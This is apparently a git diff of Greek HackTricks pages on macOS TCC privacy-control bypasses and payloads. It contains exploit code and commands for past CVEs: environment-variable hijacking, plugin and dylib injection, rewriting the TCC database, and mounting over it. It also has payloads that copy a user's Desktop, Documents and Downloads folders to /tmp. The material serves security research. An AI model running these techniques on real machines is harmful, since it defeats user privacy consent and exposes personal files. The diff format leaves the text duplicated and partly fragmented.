### Παράκαμψη Εγγραφής
|
### Παράκαμψη Εγγραφής
|
||||||
|
|
||||||
Αυτό δεν είναι μια παράκαμψη, απλώς είναι πώς λειτουργεί το TCC: **Δεν προστατεύει από την εγγραφή**. Αν ο Τερματικός **δεν έχει πρόσβαση για να διαβάσει την επιφάνεια εργασίας ενός χρήστη, μπορεί ακόμα να γράψει μέσα σε αυτήν**:
|
Αυτό δεν είναι μια παράκαμψη, απλώς είναι πώς λειτουργεί το TCC: **Δεν προστατεύει από την εγγραφή**. Αν ο Τερματικός **δεν έχει πρόσβαση για να διαβάσει την επιφάνεια εργασίας ενός χρήστη, μπορεί ακόμα να γράψει μέσα σε αυτήν**:
|
||||||
|
|
||||||
```shell-session
|
```shell-session
|
||||||
username@hostname ~ % ls Desktop
|
username@hostname ~ % ls Desktop
|
||||||
ls: Desktop: Operation not permitted
|
ls: Desktop: Operation not permitted
|
||||||
|
@ -28,13 +29,14 @@ ls: Desktop: Operation not permitted
|
||||||
username@hostname ~ % cat Desktop/lalala
|
username@hostname ~ % cat Desktop/lalala
|
||||||
asd
|
asd
|
||||||
```
|
```
|
||||||
|
|
||||||
Το **επεκτεινόμενο χαρακτηριστικό `com.apple.macl`** προστίθεται στο νέο **αρχείο** για να δώσει πρόσβαση στην **εφαρμογή δημιουργού** να το διαβάσει.
|
Το **επεκτεινόμενο χαρακτηριστικό `com.apple.macl`** προστίθεται στο νέο **αρχείο** για να δώσει πρόσβαση στην **εφαρμογή δημιουργού** να το διαβάσει.
|
||||||
|
|
||||||
### TCC ClickJacking
|
### TCC ClickJacking
|
||||||
|
|
||||||
Είναι δυνατόν να **τοποθετηθεί ένα παράθυρο πάνω από την προτροπή TCC** για να κάνει ο χρήστης **αποδοχή** χωρίς να το παρατηρήσει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
Είναι δυνατόν να **τοποθετηθεί ένα παράθυρο πάνω από την προτροπή TCC** για να κάνει ο χρήστης **αποδοχή** χωρίς να το παρατηρήσει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||||
|
|
||||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||||
|
|
||||||
### TCC Αίτηση με αυθαίρετο όνομα
|
### TCC Αίτηση με αυθαίρετο όνομα
|
||||||
|
|
||||||
|
@ -75,7 +77,7 @@ asd
|
||||||
|
|
||||||
**Το iMovie** και το **Garageband** είχαν αυτό το δικαίωμα και άλλα που επιτρέπονταν.
|
**Το iMovie** και το **Garageband** είχαν αυτό το δικαίωμα και άλλα που επιτρέπονταν.
|
||||||
|
|
||||||
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για την **απόκτηση των tokens του iCloud** από αυτό το δικαίωμα, ελέγξτε την ομιλία: [**#OBTS v5.0: "Τι συμβαίνει στο Mac σας, Μένει στο iCloud της Apple;!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για την **απόκτηση των tokens του iCloud** από αυτό το δικαίωμα, ελέγξτε την ομιλία: [**#OBTS v5.0: "Τι συμβαίνει στο Mac σας, Μένει στο iCloud της Apple;!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||||
|
|
||||||
### kTCCServiceAppleEvents / Αυτοματισμός
|
### kTCCServiceAppleEvents / Αυτοματισμός
|
||||||
|
|
||||||
|
@ -108,12 +110,15 @@ end tell
|
||||||
end tell
|
end tell
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
osascript iterm.script
|
osascript iterm.script
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Πάνω από το Finder
|
#### Πάνω από το Finder
|
||||||
|
|
||||||
Ή αν μια εφαρμογή έχει πρόσβαση πάνω από το Finder, μπορεί να εκτελέσει ένα σενάριο όπως το παρακάτω:
|
Ή αν μια εφαρμογή έχει πρόσβαση πάνω από το Finder, μπορεί να εκτελέσει ένα σενάριο όπως το παρακάτω:
|
||||||
|
|
||||||
```applescript
|
```applescript
|
||||||
set a_user to do shell script "logname"
|
set a_user to do shell script "logname"
|
||||||
tell application "Finder"
|
tell application "Finder"
|
||||||
|
@ -123,6 +128,7 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
||||||
end tell
|
end tell
|
||||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Με βάση τη συμπεριφορά της εφαρμογής
|
## Με βάση τη συμπεριφορά της εφαρμογής
|
||||||
|
|
||||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||||
|
@ -132,6 +138,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||||
Σύμφωνα με [αυτήν τη δημοσίευση στο Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) και επειδή το δαίμονα TCC τρέχει μέσω `launchd` εντός του τρέχοντος τομέα χρήστη, είναι δυνατό να **ελέγχεται όλες τις μεταβλητές περιβάλλοντος** που περνούν σε αυτόν.\
|
Σύμφωνα με [αυτήν τη δημοσίευση στο Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) και επειδή το δαίμονα TCC τρέχει μέσω `launchd` εντός του τρέχοντος τομέα χρήστη, είναι δυνατό να **ελέγχεται όλες τις μεταβλητές περιβάλλοντος** που περνούν σε αυτόν.\
|
||||||
Έτσι, ένας **επιτιθέμενος θα μπορούσε να ορίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε ένα **ελεγχόμενο κατάλογο**, **επανεκκινήσει** το **δαίμονα TCC**, και στη συνέχεια **να τροποποιήσει απευθείας τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **κάθε δικαίωμα TCC που είναι διαθέσιμο** χωρίς ποτέ να ζητήσει άδεια από τον τελικό χρήστη.\
|
Έτσι, ένας **επιτιθέμενος θα μπορούσε να ορίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε ένα **ελεγχόμενο κατάλογο**, **επανεκκινήσει** το **δαίμονα TCC**, και στη συνέχεια **να τροποποιήσει απευθείας τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **κάθε δικαίωμα TCC που είναι διαθέσιμο** χωρίς ποτέ να ζητήσει άδεια από τον τελικό χρήστη.\
|
||||||
PoC:
|
PoC:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# reset database just in case (no cheating!)
|
# reset database just in case (no cheating!)
|
||||||
$> tccutil reset All
|
$> tccutil reset All
|
||||||
|
@ -158,6 +165,7 @@ NULL,
|
||||||
# list Documents directory without prompting the end user
|
# list Documents directory without prompting the end user
|
||||||
$> ls ~/Documents
|
$> ls ~/Documents
|
||||||
```
|
```
|
||||||
|
|
||||||
### CVE-2021-30761 - Σημειώσεις
|
### CVE-2021-30761 - Σημειώσεις
|
||||||
|
|
||||||
Οι Σημειώσεις είχαν πρόσβαση σε προστατευμένες τοποθεσίες TCC, αλλά όταν δημιουργείται μια σημείωση αυτή δημιουργείται σε μια **μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις Σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να έχετε πρόσβαση στο αρχείο:
|
Οι Σημειώσεις είχαν πρόσβαση σε προστατευμένες τοποθεσίες TCC, αλλά όταν δημιουργείται μια σημείωση αυτή δημιουργείται σε μια **μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις Σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να έχετε πρόσβαση στο αρχείο:
|
||||||
|
@ -189,11 +197,13 @@ $> ls ~/Documents
|
||||||
Εάν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ορισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα ερωτήματα SQL. Πολλές εφαρμογές χρησιμοποιούσαν αυτήν τη βιβλιοθήκη, οπότε ήταν δυνατόν να καταγραφούν όλα τα ερωτήματα τους SQLite.
|
Εάν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ορισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα ερωτήματα SQL. Πολλές εφαρμογές χρησιμοποιούσαν αυτήν τη βιβλιοθήκη, οπότε ήταν δυνατόν να καταγραφούν όλα τα ερωτήματα τους SQLite.
|
||||||
|
|
||||||
Πολλές εφαρμογές της Apple χρησιμοποιούσαν αυτήν τη βιβλιοθήκη για να έχουν πρόσβαση σε προστατευμένες πληροφορίες TCC.
|
Πολλές εφαρμογές της Apple χρησιμοποιούσαν αυτήν τη βιβλιοθήκη για να έχουν πρόσβαση σε προστατευμένες πληροφορίες TCC.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Set this env variable everywhere
|
# Set this env variable everywhere
|
||||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||||
```
|
```
|
||||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
|
||||||
|
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
||||||
|
|
||||||
Αυτή η **μεταβλητή περιβάλλοντος χρησιμοποιείται από το πλαίσιο `Metal`** το οποίο είναι μια εξάρτηση από διάφορα προγράμματα, κυρίως το `Music`, το οποίο έχει FDA.
|
Αυτή η **μεταβλητή περιβάλλοντος χρησιμοποιείται από το πλαίσιο `Metal`** το οποίο είναι μια εξάρτηση από διάφορα προγράμματα, κυρίως το `Music`, το οποίο έχει FDA.
|
||||||
|
|
||||||
|
@ -264,12 +274,14 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||||
Το δεύτερο POC χρησιμοποίησε το **`/usr/libexec/configd`** το οποίο είχε `com.apple.private.tcc.allow` με την τιμή `kTCCServiceSystemPolicySysAdminFiles`.\
|
Το δεύτερο POC χρησιμοποίησε το **`/usr/libexec/configd`** το οποίο είχε `com.apple.private.tcc.allow` με την τιμή `kTCCServiceSystemPolicySysAdminFiles`.\
|
||||||
Ήταν δυνατό να εκτελεστεί το **`configd`** με την επιλογή **`-t`**, όπου ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του καταλόγου αρχικού του χρήστη με μια **ενσωμάτωση κώδικα configd**.
|
Ήταν δυνατό να εκτελεστεί το **`configd`** με την επιλογή **`-t`**, όπου ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του καταλόγου αρχικού του χρήστη με μια **ενσωμάτωση κώδικα configd**.
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user
|
Για περισσότερες πληροφορίες ελέγξτε την \[**αρχική αναφορά**]\(https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user
|
||||||
|
|
||||||
### CVE-2020-29621 - Coreaudiod
|
### CVE-2020-29621 - Coreaudiod
|
||||||
|
|
||||||
Το δυαδικό **`/usr/sbin/coreaudiod`** είχε τα entitlements `com.apple.security.cs.disable-library-validation` και `com.apple.private.tcc.manager`. Το πρώτο επιτρέπει την **εισαγωγή κώδικα** και το δεύτερο του δίνει πρόσβαση για **διαχείριση του TCC**.
|
Το δυαδικό **`/usr/sbin/coreaudiod`** είχε τα entitlements `com.apple.security.cs.disable-library-validation` και `com.apple.private.tcc.manager`. Το πρώτο επιτρέπει την **εισαγωγή κώδικα** και το δεύτερο του δίνει πρόσβαση για **διαχείριση του TCC**.
|
||||||
|
|
||||||
Αυτό το δυαδικό επέτρεπε τη φόρτωση **plug-ins τρίτων** από τον φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτωθεί ένα πρόσθετο και να καταχραστούν οι άδειες του TCC** με αυτό το PoC:
|
Αυτό το δυαδικό επέτρεπε τη φόρτωση **plug-ins τρίτων** από τον φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτωθεί ένα πρόσθετο και να καταχραστούν οι άδειες του TCC** με αυτό το PoC:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <Security/Security.h>
|
#import <Security/Security.h>
|
||||||
|
@ -296,6 +308,7 @@ add_tcc_entry();
|
||||||
NSLog(@"[+] Exploitation finished...");
|
NSLog(@"[+] Exploitation finished...");
|
||||||
exit(0);
|
exit(0);
|
||||||
```
|
```
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||||
|
|
||||||
### Προσθήκες Επιπέδου Αφαίρεσης Συσκευής (Device Abstraction Layer - DAL)
|
### Προσθήκες Επιπέδου Αφαίρεσης Συσκευής (Device Abstraction Layer - DAL)
|
||||||
|
@ -309,6 +322,7 @@ exit(0);
|
||||||
### Firefox
|
### Firefox
|
||||||
|
|
||||||
Η εφαρμογή Firefox είχε τα entitlements `com.apple.security.cs.disable-library-validation` και `com.apple.security.cs.allow-dyld-environment-variables`:
|
Η εφαρμογή Firefox είχε τα entitlements `com.apple.security.cs.disable-library-validation` και `com.apple.security.cs.allow-dyld-environment-variables`:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
codesign -d --entitlements :- /Applications/Firefox.app
|
codesign -d --entitlements :- /Applications/Firefox.app
|
||||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||||
|
@ -334,6 +348,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε εύκολα αυτό, [**ελέγξτε την αρχική αναφορά**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε εύκολα αυτό, [**ελέγξτε την αρχική αναφορά**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||||
|
|
||||||
### CVE-2020-10006
|
### CVE-2020-10006
|
||||||
|
@ -345,6 +360,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||||
Το Telegram είχε τα entitlements **`com.apple.security.cs.allow-dyld-environment-variables`** και **`com.apple.security.cs.disable-library-validation`**, οπότε ήταν δυνατό να το καταχραστείτε για να **αποκτήσετε πρόσβαση στα δικαιώματά του** όπως η εγγραφή με την κάμερα. Μπορείτε να [**βρείτε το φορτίο στην ανάλυση**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
Το Telegram είχε τα entitlements **`com.apple.security.cs.allow-dyld-environment-variables`** και **`com.apple.security.cs.disable-library-validation`**, οπότε ήταν δυνατό να το καταχραστείτε για να **αποκτήσετε πρόσβαση στα δικαιώματά του** όπως η εγγραφή με την κάμερα. Μπορείτε να [**βρείτε το φορτίο στην ανάλυση**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||||
|
|
||||||
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή περιβάλλοντος για να φορτώσετε ένα βιβλιοθήκη ένα **προσαρμοσμένο plist** δημιουργήθηκε για να ενσωματώσει αυτή τη βιβλιοθήκη και ο **`launchctl`** χρησιμοποιήθηκε για να την εκκινήσει:
|
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή περιβάλλοντος για να φορτώσετε ένα βιβλιοθήκη ένα **προσαρμοσμένο plist** δημιουργήθηκε για να ενσωματώσει αυτή τη βιβλιοθήκη και ο **`launchctl`** χρησιμοποιήθηκε για να την εκκινήσει:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -374,6 +390,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||||
```bash
|
```bash
|
||||||
launchctl load com.telegram.launcher.plist
|
launchctl load com.telegram.launcher.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
## Με ανοιχτές κλήσεις
|
## Με ανοιχτές κλήσεις
|
||||||
|
|
||||||
Είναι δυνατόν να γίνει κλήση στην **`open`** ακόμα και όταν είναι σε λειτουργία αμμόλογης
|
Είναι δυνατόν να γίνει κλήση στην **`open`** ακόμα και όταν είναι σε λειτουργία αμμόλογης
|
||||||
|
@ -383,6 +400,7 @@ launchctl load com.telegram.launcher.plist
|
||||||
Είναι αρκετά συνηθισμένο να δίνεται πρόσβαση **Πλήρους Πρόσβασης Δίσκου (FDA)** στο τερματικό, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικά άτομα. Και είναι δυνατόν να γίνει κλήση σε σενάρια **`.terminal`** χρησιμοποιώντας το.
|
Είναι αρκετά συνηθισμένο να δίνεται πρόσβαση **Πλήρους Πρόσβασης Δίσκου (FDA)** στο τερματικό, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικά άτομα. Και είναι δυνατόν να γίνει κλήση σε σενάρια **`.terminal`** χρησιμοποιώντας το.
|
||||||
|
|
||||||
Τα σενάρια **`.terminal`** είναι αρχεία plist όπως το παρακάτω με την εντολή που θα εκτελεστεί στο κλειδί **`CommandString`**:
|
Τα σενάρια **`.terminal`** είναι αρχεία plist όπως το παρακάτω με την εντολή που θα εκτελεστεί στο κλειδί **`CommandString`**:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -400,7 +418,9 @@ launchctl load com.telegram.launcher.plist
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Μια εφαρμογή θα μπορούσε να γράψει ένα σενάριο τερματικού σε έναν τόπο όπως το /tmp και να το εκκινήσει με ένα ερώτημα όπως:
|
Μια εφαρμογή θα μπορούσε να γράψει ένα σενάριο τερματικού σε έναν τόπο όπως το /tmp και να το εκκινήσει με ένα ερώτημα όπως:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// Write plist in /tmp/tcc.terminal
|
// Write plist in /tmp/tcc.terminal
|
||||||
[...]
|
[...]
|
||||||
|
@ -411,6 +431,7 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
||||||
exploit_location]; task.standardOutput = pipe;
|
exploit_location]; task.standardOutput = pipe;
|
||||||
[task launch];
|
[task launch];
|
||||||
```
|
```
|
||||||
|
|
||||||
## Με την προσάρτηση
|
## Με την προσάρτηση
|
||||||
|
|
||||||
### CVE-2020-9771 - παράκαμψη TCC του mount\_apfs και ανύψωση προνομίων
|
### CVE-2020-9771 - παράκαμψη TCC του mount\_apfs και ανύψωση προνομίων
|
||||||
|
@ -445,6 +466,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
||||||
### CVE-2021-1784 & CVE-2021-30808 - Τοποθέτηση πάνω από το αρχείο TCC
|
### CVE-2021-1784 & CVE-2021-30808 - Τοποθέτηση πάνω από το αρχείο TCC
|
||||||
|
|
||||||
Ακόμα κι αν το αρχείο TCC DB είναι προστατευμένο, ήταν δυνατό να **τοποθετηθεί πάνω στον κατάλογο** ένα νέο αρχείο TCC.db:
|
Ακόμα κι αν το αρχείο TCC DB είναι προστατευμένο, ήταν δυνατό να **τοποθετηθεί πάνω στον κατάλογο** ένα νέο αρχείο TCC.db:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# CVE-2021-1784
|
# CVE-2021-1784
|
||||||
## Mount over Library/Application\ Support/com.apple.TCC
|
## Mount over Library/Application\ Support/com.apple.TCC
|
||||||
|
@ -454,7 +476,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
|
||||||
## Mount over ~/Library
|
## Mount over ~/Library
|
||||||
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
```python
|
```python
|
||||||
# This was the python function to create the dmg
|
# This was the python function to create the dmg
|
||||||
def create_dmg():
|
def create_dmg():
|
||||||
|
@ -465,6 +487,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
||||||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||||
```
|
```
|
||||||
|
|
||||||
Ελέγξτε τον **πλήρη εκμεταλλευτή** στο [**αρχικό άρθρο**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
Ελέγξτε τον **πλήρη εκμεταλλευτή** στο [**αρχικό άρθρο**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||||
|
|
||||||
### asr
|
### asr
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS TCC Φορτίσεις
|
# macOS TCC Payloads
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -20,8 +20,11 @@
|
||||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="undefined" %}
|
||||||
Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`.
|
Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -53,8 +56,11 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`.
|
Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
```
|
```
|
||||||
|
@ -67,8 +73,11 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="undefined" %}
|
||||||
Αντιγράψτε το `$HOME/Documents` στο `/tmp/documents`.
|
Αντιγράψτε το `$HOME/Documents` στο `/tmp/documents`.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -100,8 +109,11 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Αντιγράψτε το `$HOME/`Documents στο `/tmp/documents`.
|
Αντιγράψτε το `$HOME/`Documents στο `/tmp/documents`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Documents" "/tmp/documents"
|
cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
```
|
```
|
||||||
|
@ -114,8 +126,11 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="undefined" %}
|
||||||
Αντιγράψτε το `$HOME/Downloads` στο `/tmp/downloads`.
|
Αντιγράψτε το `$HOME/Downloads` στο `/tmp/downloads`.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
